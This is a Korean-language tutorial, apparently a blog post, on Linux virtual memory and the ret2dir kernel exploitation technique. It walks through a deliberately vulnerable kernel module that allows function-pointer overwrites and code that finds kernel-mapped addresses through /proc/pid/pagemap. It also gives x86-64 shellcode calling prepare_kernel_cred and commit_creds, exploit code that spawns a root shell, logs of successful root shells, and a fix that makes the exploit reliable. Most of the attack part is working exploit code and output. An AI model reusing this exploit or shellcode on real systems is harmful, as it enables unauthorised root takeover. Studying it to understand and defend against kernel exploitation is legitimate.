Excuse the ads! We need some help to keep our site up.
가상 메모리(Virtual memory)는 메모리 관리 방법의 하나로, 각 프로그램에 물리적 주소(physical addresses)가 아닌 가상의 메모리 주소를 사용하는 방식입니다.
컴퓨팅에서 가상 주소 공간(VAS) 또는 주소 공간은 운영 체제에서 프로세스에 사용되는 일련의 가상 주소 집합입니다.
가상 주소의 범위는 일반적으로 낮은 주소에서 시작하여 컴퓨터의 명령어 세트 아키텍처에서 허용되는 최상위 주소로 확장 될 수 있습니다.
운영 체제의 포인터 크기 구현에 의해 지원됩니다.
32 비트의 경우 4 바이트
64 비트의 경우 8 바이트
Area | Size | Description |
---|---|---|
0000000000000000 - 00007fffffffffff | 47 bits | user space, different per mm hole caused by [48:63] sign extension |
ffff800000000000 - ffff80ffffffffff | 40 bits | guard hole |
ffff880000000000 - ffffc7ffffffffff | 64 TB | direct mapping of all phys. memory |
ffffc80000000000 - ffffc8ffffffffff | 40 bits | hole |
ffffc90000000000 - ffffe8ffffffffff | 45 bits | vmalloc/ioremap space |
ffffe90000000000 - ffffe9ffffffffff | 40 bits | hole |
ffffea0000000000 - ffffeaffffffffff | 40 bits | virtual memory map (1TB) ... unused hole ... |
ffffffff80000000 - ffffffffa0000000 | 512 MB | kernel text mapping, from phys 0 |
ffffffffa0000000 - fffffffffff00000 | 1536 MB | module mapping space |
|
https://www.usenix.org/system/files/conference/usenixsecurity14/sec14-paper-kemerlis.pdf - Table 1: physmap characteristics across different architectures (x86, x86-64, AArch32, AArch64). |
|
Linux 4.0 이후 CAP_SYS_ADMIN 기능을 가진 사용자 만 PFN을 가져올 수 있습니다.
4.0 및 4.1에서는 -EPERM을 사용하여 권한이 없는 오류가 발생합니다.
4.2에서 시작하여 사용자가 CAP_SYS_ADMIN을 가지고 있지 않으면 PFN 필드는 0으로 설정됩니다.
w00t@vlux:~$ uname -a Linux vlux 3.8.0-19-generic #30~precise1-Ubuntu SMP Wed May 1 22:26:36 UTC 2013 x86_64 GNU/Linux w00t@vlux:~$ |
w00t@vlux:~/ekit$ cat /proc/cpuinfo |grep flags flags : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush dts mmx fxsr sse sse2 ss syscall nx pdpe1gb rdtscp lm constant_tsc arch_perfmon pebs bts nopl xtopology tsc_reliable nonstop_tsc aperfmperf eagerfpu pni pclmulqdq ssse3 fma cx16 pcid sse4_1 sse4_2 x2apic movbe popcnt tsc_deadline_timer aes xsave avx f16c rdrand hypervisor lahf_lm abm ida arat epb xsaveopt pln pts dtherm fsgsbase tsc_adjust bmi1 avx2 smep bmi2 invpcid flags : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush dts mmx fxsr sse sse2 ss syscall nx pdpe1gb rdtscp lm constant_tsc arch_perfmon pebs bts nopl xtopology tsc_reliable nonstop_tsc aperfmperf eagerfpu pni pclmulqdq ssse3 fma cx16 pcid sse4_1 sse4_2 x2apic movbe popcnt tsc_deadline_timer aes xsave avx f16c rdrand hypervisor lahf_lm abm ida arat epb xsaveopt pln pts dtherm fsgsbase tsc_adjust bmi1 avx2 smep bmi2 invpcid w00t@vlux:~/ekit$ |
|
w00t@vlux:~$ cd ekit/ w00t@vlux:~/ekit$ ls include ret2dir ret2usr runme utils w00t@vlux:~/ekit$ ./runme |=-------------------------------------------------------------------------=| |=------[ Return-to-direct-mapped memory (ret2dir) Exploitation Kit ]------=| |=-------------------------------------------------------------------------=| |=-------[ Network Security Lab (NSL) # http://nsl.cs.columbia.edu ]-------=| |=-------------------------[ Columbia University ]-------------------------=| |=-------------[ Vasileios P. Kemerlis (vpk@cs.columbia.edu) ]-------------=| |=-------------------[ http://www.cs.columbia.edu/~vpk ]-------------------=| |=-------------------------------------------------------------------------=| Kernel version : 3.8.0-19-generic Prot. (ret2usr) : SMEP [+] SMAP [-] KERNEXEC [-] UDEREF [-] CPU : Intel(R) Core(TM) i7-4771 CPU @ 3.50GHz (#2) RAM : 1988 MB Available exploits: [1] PERF_EVENTS EDB-ID: 26131 (http://www.exploit-db.com/exploits/26131/) CVE-ID: 2013-2094 (signedness error) [2] kernwrite EDB-ID: NONE CVE-ID: NONE (function/data pointer overwrite) [0] Exit > 2 Available variants: >[1] ret2dir Bypasses: SMEP, SMAP, KERNEXEC, UDEREF [2] ret2usr [0] Exit > 1 <-f/--fptr> or <-d/--dptr> > f kernwrite_amd64: [Warn] `mode' was not specified -- using -f (--fptr) kernwrite_amd64: [Warn] invalid `prepare_kernel_cred' address -- 0 [*] `prepare_kernel_cred' at 0xffffffff81086870 kernwrite_amd64: [Warn] invalid `commit_creds' address -- 0 [*] `commit_creds' at 0xffffffff810865f0 [*] 0x7fcc9715d000 is kernel-mapped at 0xffff88002d3ba000 [+] shellcode is at 0xffff88002d3ba000 [+] p0wned [^_-] # id uid=0(root) gid=0(root) groups=0(root) # |
함수 포인터와 size_t type의 데이터를 저장하는 dummy_ops 구조체를 정의합니다.
dummy_ops 구조체 타입의 변수(ops)와 포인터 변수를 선언(*ops_ptr)합니다.
kernwrite_init() 함수는 다음과 같이 기능을 처리합니다.
... /* * struct dummy_ops * * definition of a dummy structure that contains * a function pointer and a generic data field */ struct dummy_ops { size_t val; ssize_t (*fptr)(void); }; /* * a kernel-mapped `dummy_ops' structure */ static struct dummy_ops ops; /* a kernel-mapped data pointer to `ops' */ static struct dummy_ops *ops_ptr; ... /* module loading callback */ static int kernwrite_init(void) { /* initialize the data pointer to `ops' */ ops_ptr = &ops; /* create the kernwrite directory in debugfs */ kernwrite_root = debugfs_create_dir("kernwrite", NULL); /* failed */ if (kernwrite_root == NULL) { /* verbose */ printk(KERN_ERR "kernwrite: creating root dir failed\n"); return -ENODEV; } /* create the files with the appropriate `fops' struct and perms */ over_func_ptr = debugfs_create_file("over_func_ptr", 0222, kernwrite_root, NULL, &over_func_fops); over_data_ptr = debugfs_create_file("over_data_ptr", 0222, kernwrite_root, NULL, &over_data_fops); invoke_func_ptr = debugfs_create_file("invoke_func", 0222, kernwrite_root, NULL, &invoke_func_fops); /* error handling */ if (over_func_ptr == NULL || over_data_ptr == NULL || invoke_func_ptr == NULL) goto out_err; /* return with success */ return 0; out_err: /* cleanup */ printk(KERN_ERR "kernwrite: creating files in root dir failed\n"); cleanup_debugfs(); /* return with failure */ return -ENODEV; } |
over_func() 함수는 다음과 같이 기능을 처리합니다.
32 byte 크기를 가지는 char형 변수(addr)를 생성합니다.
memset() 함수를 이용하여 해당 변수의 값을 0으로 초기화 합니다.
copy_from_user() 함수를 이용하여 유저로 부터 전달 받은 값을 addr 변수에 저장합니다.
simple_strtol() 함수를 이용하여 addr 변수에 저장된 문자열을 signed long으로 변환하여 ops.fptr 변수에 저장합니다.
atoi() 함수 대신 simple_strtol() 함수를 사용하는 이유는 Kernel source에서 유저 영역 라이브러리인 "stdlib.h"를 사용할 수 없기 때문 입니다.
/* * writing to the `over_func_ptr' file overwrites * the function pointer of `ops' with an arbitrary, * user-controlled value */ static ssize_t over_func(struct file *f, const char __user *buf, size_t count, loff_t *off) { /* address buffer */ char addr[ADDR_SZ]; /* cleanup */ memset(addr, 0 , ADDR_SZ); /* copy the buffer to kernel space */ if (copy_from_user(addr, buf, (count < ADDR_SZ - 1) ? count : ADDR_SZ - 1) != 0) { /* failed */ printk(KERN_ERR "kernwrite: overwriting the function pointer failed\n"); return -EINVAL; } /* overwrite the function pointer */ ops.fptr = (void *)simple_strtol(addr, NULL, 16); f->private_data = ops.fptr; /* verbose */ printk(KERN_DEBUG "kernwrite: overwriting function pointer with 0x%p\n", ops.fptr); /* done! */ return count; } |
/* * writing to the `invoke_func' file calls * the `fptr' member of `ops' via `opt_ptr' */ static ssize_t invoke_func(struct file *f, const char __user *buf, size_t count, loff_t *off) { /* verbose */ printk(KERN_DEBUG "kernwrite: executing at 0x%p\n", ops_ptr->fptr); /* do it */ return ops_ptr->fptr(); } |
main() 함수에서 다음과 같이 동작합니다.
sysconf() 함수를 이용하여 시스템의 페이지 사이즈(_SC_PAGESIZE) 정보를 얻습니다.
mmap() 함수를 이용하여 512MB 크기의 메모리를 할당합니다.
querypmap() 함수를 호출합니다.
querypmap() 함수에서는 다음과 같이 동작합니다.
다음과 같이 pagemap 파일의 정보를 읽어옵니다.
calloc() 함수를 이용하여 "pagemap" 파일의 정보를 저장할 공간을 할당합니다.
snprintf() 함수를 이용하여 해당 프로세스에서 사용하는 "pagemap" 파일 주소를 path변수에 저장합니다.
fopen() 함수를 이용하여 해당 파일을 읽습니다.
fseek() 함수를 이용하여 특정 위치로 건너뜁니다.
fread() 함수를 이용하여 지정한 만큼 데이터를 pentry 영역에 읽습니다.
다음과 같이 각 page의 PFN, present bit 정보를 확인할 수 있습니다.
while() 을 이용하여 pnum 변수에 저장된 수 만큼 아래 동작을 반복합니다.
AND 연산자(&)를 이용하여 63번째 비트의 값을 확인합니다.
present bit의 값이 1인 경우
#include <err.h> #include <errno.h> #include <fcntl.h> #include <getopt.h> #include <stdint.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/mman.h> /* constants */ #define PATH_SZ 32 /* path size (/proc/<pid>/pagemap) */ #define PRESENT_MASK (1ULL << 63) /* get bit 63 from a 64-bit integer */ #define PFN_MASK ((1ULL << 55) - 1) /* get bits 0-54 from */ #define ALLOC_STEP 1024*1024*512 /* chunk of 512MB */ void querypmap(pid_t pid, unsigned long vaddr, long psize, size_t pnum) { char path[PATH_SZ]; /* path in /proc */ uint64_t *pentry = NULL; /* pagemap entries */ FILE *fp = NULL; /* pagemap file */ /* 페이지맵 항목 초기화 */ if ((pentry = calloc(pnum, sizeof(uint64_t))) == NULL) errx(7,"[Fail] couldn't allocate memory for pagemap entries -- %s",strerror(errno)); memset(path, 0, PATH_SZ); if (snprintf(path, PATH_SZ, "/proc/%d/pagemap", pid) >= PATH_SZ) /* format the path variable */ errx(4,"[Fail] invalid path for /proc/%d/pagemap -- %s",pid,path); if ((fp = fopen(path, "r")) == NULL) /* open the pagemap file */ errx(4,"[Fail] couldn't open %s -- %s",path,strerror(errno)); if (fseek(fp, (vaddr / psize) * sizeof(uint64_t), SEEK_CUR) == -1) /* seek to the appropriate place */ errx(5,"[Fail] couldn't seek in pagemap -- %s",strerror(errno)); if (fread(pentry, sizeof(uint64_t), pnum, fp) != pnum) /* read the corresponding pagemap entries */ errx(6,"[Fail] couldn't read pagemap entries -- %s",strerror(errno)); while (pnum > 0) { /* check the present bit */ if ((pentry[pnum - 1] & PRESENT_MASK) == 0) { printf("[*] present bit 0\n"); /* proper accounting */ pnum--; /* continue with the next page */ continue; } /* verbose */ printf("[*] Page Number %zd\n", pnum - 1); printf("[*] present bit 1\n"); printf("[*] PFN is %llu\n\n", pentry[pnum - 1] & PFN_MASK); /* proper accounting */ pnum--; } /* cleanup */ fclose(fp); return; } void main() { long psize; /* page size */ char *code = NULL; /* shellcode buffer */ /* get the page size */ if ((psize = sysconf(_SC_PAGESIZE)) == -1) /* failed */ errx(2, "[Fail] couldn't read page size -- %s", strerror(errno)); /* allocate ALLOC_STEP bytes in user space */ if ((code = mmap(NULL, ALLOC_STEP, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_POPULATE, -1, 0)) == MAP_FAILED) /* failed */ errx(7, "[Fail] couldn't allocate memory -- %s", strerror(errno)); /* see if user space is kernel-mapped */ querypmap(getpid(), (unsigned long)code, psize, ALLOC_STEP / psize); } |
w00t@vlux:~/re2dir$ gcc -o get_info get_info.c w00t@vlux:~/re2dir$ ./get_info [*] Page Number 131071 [*] present bit 1 [*] PFN is 388370 [*] Page Number 131070 [*] present bit 1 [*] PFN is 388369 [*] Page Number 131069 [*] present bit 1 [*] PFN is 388368 ... |
#include <err.h> #include <errno.h> #include <fcntl.h> #include <getopt.h> #include <stdint.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/mman.h> /* constants */ #define PATH_SZ 32 /* path size (/proc/<pid>/pagemap) */ #define PRESENT_MASK (1ULL << 63) /* get bit 63 from a 64-bit integer */ #define PFN_MASK ((1ULL << 55) - 1) /* get bits 0-54 from */ #define ALLOC_STEP 1024*1024*512 /* chunk of 512MB */ #define PAGE_OFFSET 0xFFFF880000000000UL /* kernel space */ #define KERN_EXEC_LOW 0xFFFF880030400000UL /* exec range start */ #define KERN_EXEC_HIGH 0xFFFF880080000000UL /* exec range end */ void querypmap(pid_t pid, unsigned long vaddr, long psize, size_t pnum) { char path[PATH_SZ]; /* path in /proc */ uint64_t *pentry = NULL; /* pagemap entries */ FILE *fp = NULL; /* pagemap file */ unsigned long kaddr = 0; /* helper */ /* 페이지맵 항목 초기화 */ if ((pentry = calloc(pnum, sizeof(uint64_t))) == NULL) errx(7,"[Fail] couldn't allocate memory for pagemap entries -- %s",strerror(errno)); memset(path, 0, PATH_SZ); if (snprintf(path, PATH_SZ, "/proc/%d/pagemap", pid) >= PATH_SZ) /* format the path variable */ errx(4,"[Fail] invalid path for /proc/%d/pagemap -- %s",pid,path); if ((fp = fopen(path, "r")) == NULL) /* open the pagemap file */ errx(4,"[Fail] couldn't open %s -- %s",path,strerror(errno)); if (fseek(fp, (vaddr / psize) * sizeof(uint64_t), SEEK_CUR) == -1) /* seek to the appropriate place */ errx(5,"[Fail] couldn't seek in pagemap -- %s",strerror(errno)); if (fread(pentry, sizeof(uint64_t), pnum, fp) != pnum) /* read the corresponding pagemap entries */ errx(6,"[Fail] couldn't read pagemap entries -- %s",strerror(errno)); vaddr += ((pnum - 1) * psize); while (pnum > 0) { /* check the present bit */ if ((pentry[pnum - 1] & PRESENT_MASK) == 0) { warnx("[Warn] %#lx is not present in physical memory",vaddr); /* proper accounting */ kaddr = 0; vaddr -= psize; pnum--; /* continue with the next page */ continue; } /* get the kernel-mapped address of vaddr */ kaddr = ((pentry[pnum - 1] & PFN_MASK) * psize) + PAGE_OFFSET + (vaddr & (psize - 1)); /* valid match ? */ if (kaddr >= KERN_EXEC_LOW && kaddr <= KERN_EXEC_HIGH){ printf("[*] Found KERN_EXEC Zone!\n\n"); /* verbose */ printf("[*] Page Number %zd\n", pnum - 1); printf("[*] present bit 1\n"); printf("[*] PFN is %llu\n", pentry[pnum - 1] & PFN_MASK); printf("[*] %#lx is kernel-mapped at %#lx\n\n",vaddr,kaddr); /* yeah baby */ break; } /* proper accounting */ kaddr = 0; vaddr -= psize; pnum--; } /* cleanup */ fclose(fp); return; } void main() { long psize; /* page size */ char *code = NULL; /* shellcode buffer */ /* get the page size */ if ((psize = sysconf(_SC_PAGESIZE)) == -1) /* failed */ errx(2, "[Fail] couldn't read page size -- %s", strerror(errno)); /* allocate ALLOC_STEP bytes in user space */ if ((code = mmap(NULL, ALLOC_STEP, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_POPULATE, -1, 0)) == MAP_FAILED) /* failed */ errx(7, "[Fail] couldn't allocate memory -- %s", strerror(errno)); /* see if user space is kernel-mapped */ querypmap(getpid(), (unsigned long)code, psize, ALLOC_STEP / psize); } |
w00t@vlux:~/re2dir$ ./get_mapping_info [*] Found KERN_EXEC Zone! [*] Page Number 131071 [*] present bit 1 [*] PFN is 260299 [*] 0x7f1a5582c000 is kernel-mapped at 0xffff88003f8cb000 w00t@vlux:~/re2dir$ |
/* shellcode stitching */ code += res.pnum * psize; memcpy(code, shell_tmpl, SHELL_PREFIX); code += SHELL_PREFIX; memcpy(code, &caddr, sizeof(unsigned)); code += sizeof(unsigned); memcpy(code, &shell_tmpl[SHELL_PREFIX], SHELL_ADV); code += SHELL_ADV; memcpy(code, &paddr, sizeof(unsigned)); code += sizeof(unsigned); memcpy(code, &shell_tmpl[SHELL_PREFIX + SHELL_ADV], SHELL_SUFFIX); |
#elif defined(__x86_64__) /* x86-64 */ #define SHELL_PREFIX 8 /* 8 bytes of "prefix" code */ #define SHELL_SUFFIX 24 /* 24 bytes of "suffix" code */ #define SHELL_ADV 3 /* 3 bytes of code advancement */ static char shell_tmpl[] = "\x55" /* push %rbp */ "\x48\x89\xe5" /* mov %rsp, %rbp */ "\x53" /* push %rbx */ "\x48\xc7\xc3" /* mov $<kaddr>, %rbx */ "\x48\xc7\xc0" /* mov $<kaddr>, %rax */ "\x48\xc7\xc7\x00\x00\x00\x00" /* mov $0x0, %rdi */ "\xff\xd0" /* callq *%rax */ "\x48\x89\xc7" /* mov %rax, %rdi */ "\xff\xd3" /* callq *%rbx */ "\x48\xc7\xc0\x00\x00\x00\x00" /* mov $0x0, %rax */ "\x5b" /* pop %rbx */ "\xc9" /* leaveq */ "\xc3"; /* ret */ #endif #endif /* __SHELLCODE_H__ */ |
/* prepare to overwrite a function pointer via `kernwrite' */ memset(saddr, 0, ADDR_SZ); sprintf(saddr, "%#lx", res.btarget); /* verbose */ fprintf(stdout, "[+] shellcode is at %s\n", saddr); /* do it (kernwrite specific) */ if ((fd = open("/sys/kernel/debug/kernwrite/over_func_ptr", O_WRONLY)) == -1) errx(8, "[Fail] couldn't open %s -- %s", "/sys/kernel/debug/kernwrite/over_func_ptr", strerror(errno)); if (write(fd, saddr, strlen(saddr)) != strlen(saddr)) errx(8, "[Fail] couldn't write in %s -- %s", "/sys/kernel/debug/kernwrite/over_func_ptr", strerror(errno)); close(fd); if ((fd = open("/sys/kernel/debug/kernwrite/invoke_func", O_WRONLY)) == -1) errx(9, "[Fail] couldn't open %s -- %s", "/sys/kernel/debug/kernwrite/invoke_func", strerror(errno)); if (write(fd, "1", 1) == -1) errx(9, "[Fail] couldn't write in %s -- %s", "/sys/kernel/debug/kernwrite/invoke_func", strerror(errno)); close(fd); /* check to see if we succeeded */ if (getuid() == 0) { /* verbose */ fprintf(stderr, "[+] p0wned [^_-]\n"); /* execute a rootshell */ execve("/bin/sh", argv, NULL); } /* l0Ooser */ fprintf(stderr, "[-] failed to p0wn the machine\n"); |
/* prepare to overwrite a function pointer via `kernwrite' */ memset(saddr, 0, ADDR_SZ); sprintf(saddr, "%#lx", vaddr); /* verbose */ fprintf(stdout, "[+] shellcode is at %s\n", saddr); |
w00t@vlux:~/ret2dir$ gcc -o vaddr exploit\(vaddr\).c w00t@vlux:~/ret2dir$ ./vaddr [*] Found KERN_EXEC Zone! [*] Page Number 131071 [*] 0x7f0adbb91000 is kernel-mapped at 0xffff88005fa21000 [*] `prepare_kernel_cred' at 0xffffffff81086870 [*] `commit_creds' at 0xffffffff810865f0 [+] shellcode is at 0x7f0adbb91000 Killed w00t@vlux:~/ret2dir$ |
w00t@vlux:~/ret2dir$ dmesg |tail -n 42 [64312.225362] kernwrite: overwriting function pointer with 0xffff88002cfff000 [64312.225428] kernwrite: executing at 0xffff88002cfff000 [64420.963665] kernwrite: overwriting function pointer with 0xffff88002cfff000 [64420.963757] kernwrite: executing at 0xffff88002cfff000 [64436.347693] kernwrite: overwriting function pointer with 0xffff88003f75e000 [64436.347767] kernwrite: executing at 0xffff88003f75e000 [64870.608960] kernwrite: overwriting function pointer with 0x00007f0adbb91000 [64870.609081] kernwrite: executing at 0x00007f0adbb91000 [64870.609150] BUG: unable to handle kernel paging request at 00007f0adbb91000 [64870.609257] IP: [<00007f0adbb91000>] 0x7f0adbb90fff [64870.609307] PGD 78011067 PUD 7818a067 PMD 36cd1067 PTE 800000005fa21067 [64870.609396] Oops: 0011 [#8] SMP [64870.609449] Modules linked in: kernwrite(OF) coretemp(F) ghash_clmulni_intel(F) aesni_intel(F) ablk_helper(F) cryptd(F) lrw(F) aes_x86_64(F) xts(F) gf128mul(F) snd_pcm(F) snd_timer(F) snd(F) psmouse(F) soundcore(F) microcode(F) snd_page_alloc(F) serio_raw(F) pcspkr(F) vmw_balloon(F) vmwgfx(F) ttm(F) drm(F) i2c_piix4(F) shpchp(F) mac_hid(F) e1000(F) mptspi(F) mptscsih(F) mptbase(F) vmw_pvscsi(F) vmxnet3(F) [last unloaded: kernwrite] [64870.610025] CPU 1 [64870.610045] Pid: 3393, comm: vaddr Tainted: GF D O 3.8.0-19-generic #30~precise1-Ubuntu VMware, Inc. VMware Virtual Platform/440BX Desktop Reference Platform [64870.610156] RIP: 0010:[<00007f0adbb91000>] [<00007f0adbb91000>] 0x7f0adbb90fff [64870.610221] RSP: 0018:ffff880036653ef0 EFLAGS: 00010296 [64870.610260] RAX: ffffffffa01b7270 RBX: 0000000000000001 RCX: 00000000ffffffff [64870.610306] RDX: 0000000000003b2b RSI: 0000000000000082 RDI: 0000000000000246 [64870.610353] RBP: ffff880036653ef8 R08: 0000000000000000 R09: 0000000000000000 [64870.610399] R10: 00000000000006c9 R11: 6974756365786520 R12: 0000000000401b20 [64870.610445] R13: ffff880036653f50 R14: ffff880036c6f900 R15: 0000000000000000 [64870.610492] FS: 00007f0adc134700(0000) GS:ffff88007c620000(0000) knlGS:0000000000000000 [64870.610550] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 [64870.610591] CR2: 00007f0adbb91000 CR3: 0000000036ce9000 CR4: 00000000001407e0 [64870.610663] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000 [64870.610729] DR3: 0000000000000000 DR6: 00000000ffff0ff0 DR7: 0000000000000400 [64870.610776] Process vaddr (pid: 3393, threadinfo ffff880036652000, task ffff880036d9ae80) [64870.610834] Stack: [64870.610860] ffffffffa01b507c ffff880036653f28 ffffffff8119b733 ffff880036c6f900 [64870.610957] 0000000000000000 0000000000401b20 0000000000000001 ffff880036653f78 [64870.611055] ffffffff8119ba72 000000000000000e 000000000000000e 0000000000020000 [64870.611155] Call Trace: [64870.611186] [<ffffffffa01b507c>] ? invoke_func+0x2c/0x30 [kernwrite] [64870.611234] [<ffffffff8119b733>] vfs_write+0xb3/0x180 [64870.611274] [<ffffffff8119ba72>] sys_write+0x52/0xa0 [64870.611315] [<ffffffff816fad5d>] system_call_fastpath+0x1a/0x1f [64870.611357] Code: Bad RIP value. [64870.611411] RIP [<00007f0adbb91000>] 0x7f0adbb90fff [64870.611462] RSP <ffff880036653ef0> [64870.611494] CR2: 00007f0adbb91000 [64870.611548] ---[ end trace 2ad46c5e91b8279d ]--- w00t@vlux:~/ret2dir$ |
/* prepare to overwrite a function pointer via `kernwrite' */ memset(saddr, 0, ADDR_SZ); sprintf(saddr, "%#lx", res.btarget); /* verbose */ fprintf(stdout, "[+] shellcode is at %s\n", saddr); |
w00t@vlux:~/ret2dir$ gcc -o saddr exploit\(saddr\).c w00t@vlux:~/ret2dir$ ./saddr [*] Found KERN_EXEC Zone! [*] Page Number 131071 [*] 0x7f1e10d5f000 is kernel-mapped at 0xffff880034662000 [*] `prepare_kernel_cred' at 0xffffffff81086870 [*] `commit_creds' at 0xffffffff810865f0 [+] shellcode is at 0xffff880034662000 [+] p0wned [^_-] # |
0xffff88007xxxx000 영역에 shellcode가 저장되었을 경우 root획득에 실패하였습니다.
0xffff88003xxxx000 영역에 shellcode가 저장되었을 경우 root획득에 성공하였습니다.
w00t@vlux:~/ekit$ cd ret2dir/ w00t@vlux:~/ekit/ret2dir$ ls kernwrite_amd64 kernwrite_amd64-pax perf-events_amd64.c rds_amd64-pax sock-diag_amd64 kernwrite_amd64.c perf-events_amd64 rds_amd64.c shellcode.h sock-diag_amd64.c w00t@vlux:~/ekit/ret2dir$ gcc -o test kernwrite_amd64.c w00t@vlux:~/ekit/ret2dir$ ./test test: [Warn] `mode' was not specified -- using -f (--fptr) test: [Warn] invalid `prepare_kernel_cred' address -- 0 [*] `prepare_kernel_cred' at 0xffffffff81086870 test: [Warn] invalid `commit_creds' address -- 0 [*] `commit_creds' at 0xffffffff810865f0 [*] 0x7f005e35b000 is kernel-mapped at 0xffff8800742e4000 [+] shellcode is at 0xffff8800742e4000 Killed w00t@vlux:~/ekit/ret2dir$ ./test test: [Warn] `mode' was not specified -- using -f (--fptr) test: [Warn] invalid `prepare_kernel_cred' address -- 0 [*] `prepare_kernel_cred' at 0xffffffff81086870 test: [Warn] invalid `commit_creds' address -- 0 [*] `commit_creds' at 0xffffffff810865f0 [*] 0x7f0382843000 is kernel-mapped at 0xffff8800342e7000 [+] shellcode is at 0xffff8800342e7000 [+] p0wned [^_-] # |
w00t@vlux:~/ekit/ret2dir$ ./kernwrite_amd64 kernwrite_amd64: [Warn] `mode' was not specified -- using -f (--fptr) kernwrite_amd64: [Warn] invalid `prepare_kernel_cred' address -- 0 [*] `prepare_kernel_cred' at 0xffffffff81086870 kernwrite_amd64: [Warn] invalid `commit_creds' address -- 0 [*] `commit_creds' at 0xffffffff810865f0 [*] 0x7f7238c2d000 is kernel-mapped at 0xffff8800341ff000 [+] shellcode is at 0xffff8800341ff000 [+] p0wned [^_-] # exit w00t@vlux:~/ekit/ret2dir$ ./kernwrite_amd64 kernwrite_amd64: [Warn] `mode' was not specified -- using -f (--fptr) kernwrite_amd64: [Warn] invalid `prepare_kernel_cred' address -- 0 [*] `prepare_kernel_cred' at 0xffffffff81086870 kernwrite_amd64: [Warn] invalid `commit_creds' address -- 0 [*] `commit_creds' at 0xffffffff810865f0 [*] 0x7f79670a8000 is kernel-mapped at 0xffff8800345ff000 [+] shellcode is at 0xffff8800345ff000 [+] p0wned [^_-] # exit w00t@vlux:~/ekit/ret2dir$ ./kernwrite_amd64 kernwrite_amd64: [Warn] `mode' was not specified -- using -f (--fptr) kernwrite_amd64: [Warn] invalid `prepare_kernel_cred' address -- 0 [*] `prepare_kernel_cred' at 0xffffffff81086870 kernwrite_amd64: [Warn] invalid `commit_creds' address -- 0 [*] `commit_creds' at 0xffffffff810865f0 [*] 0x7f639b783000 is kernel-mapped at 0xffff8800341ff000 [+] shellcode is at 0xffff8800341ff000 [+] p0wned [^_-] # exit |
KERN_EXEC_LOW : 0xFFFF880030400000 → 0xffff880001bfffff
KERN_EXEC_HIGH : 0xFFFF880080000000 → 0xffff880036000000
0x0000000000401404 <+659>: mov esi,0x4025e8 0x0000000000401409 <+664>: mov rdi,rax 0x000000000040140c <+667>: mov eax,0x0 0x0000000000401411 <+672>: call 0x400d40 <fprintf@plt> 0x0000000000401416 <+677>: movabs rax,0xffff880001bfffff 0x0000000000401420 <+687>: cmp QWORD PTR [rbp-0x8],rax 0x0000000000401424 <+691>: jbe 0x401436 <querypmap+709> 0x0000000000401426 <+693>: movabs rax,0xffff880036000000 0x0000000000401430 <+703>: cmp QWORD PTR [rbp-0x8],rax 0x0000000000401434 <+707>: jbe 0x401458 <querypmap+743 |
KERN_EXEC_LOW 매크로의 값을 0xffff880001bfffff 으로 변경합니다.
KERN_EXEC_HIGH 매크로의 값을 0xffff880036000000 으로 변경합니다.
#define KERN_EXEC_LOW 0xffff880001bfffffUL /* exec range start */ #define KERN_EXEC_HIGH 0xffff880036000000UL /* exec range end */ |
그리고 앞에서 설정한 범위의 메모리 영역에 매핑되는 가상 메모리를 1번에 할당받기 어렵기 때문에 다음과 같이 while()문을 추가합니다.
/* see if user space is kernel-mapped */ res = querypmap(getpid(), (unsigned long)code, psize, ALLOC_STEP / psize); /* bad luck; try again */ while(res.btarget == 0) { /* allocate ALLOC_STEP bytes in user space */ if ((code = mmap(NULL, ALLOC_STEP, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_POPULATE, -1, 0)) == MAP_FAILED) /* failed */ errx(7, "[Fail] couldn't allocate memory -- %s", strerror(errno)); /* see if user space is kernel-mapped */ res = querypmap(getpid(), (unsigned long)code, psize, ALLOC_STEP / psize); } vaddr = (unsigned long)code + res.pnum * psize; printf("[*] Page Number %zd\n", res.pnum); printf("[*] %#lx is kernel-mapped at %#lx\n\n",vaddr,res.btarget); |
다음과 같이 수정된 코드를 빌드하면 실패 없이 한번에 root권한을 획득할 수 있습니다.
w00t@vlux:~/ekit$ gcc -o saddr-bugfix exploit\(saddr\)-bugfix.c w00t@vlux:~/ekit$ ./saddr-bugfix [*] Found KERN_EXEC Zone! [*] Page Number 9045 [*] 0x7f533daac000 is kernel-mapped at 0xffff8800341ff000 [*] `prepare_kernel_cred' at 0xffffffff81086870 [*] `commit_creds' at 0xffffffff810865f0 [+] shellcode is at 0xffff8800341ff000 [+] p0wned [^_-] # exit w00t@vlux:~/ekit$ ./saddr-bugfix [*] Found KERN_EXEC Zone! [*] Page Number 6486 [*] 0x7f02f232f000 is kernel-mapped at 0xffff8800341ff000 [*] `prepare_kernel_cred' at 0xffffffff81086870 [*] `commit_creds' at 0xffffffff810865f0 [+] shellcode is at 0xffff8800341ff000 [+] p0wned [^_-] # |
|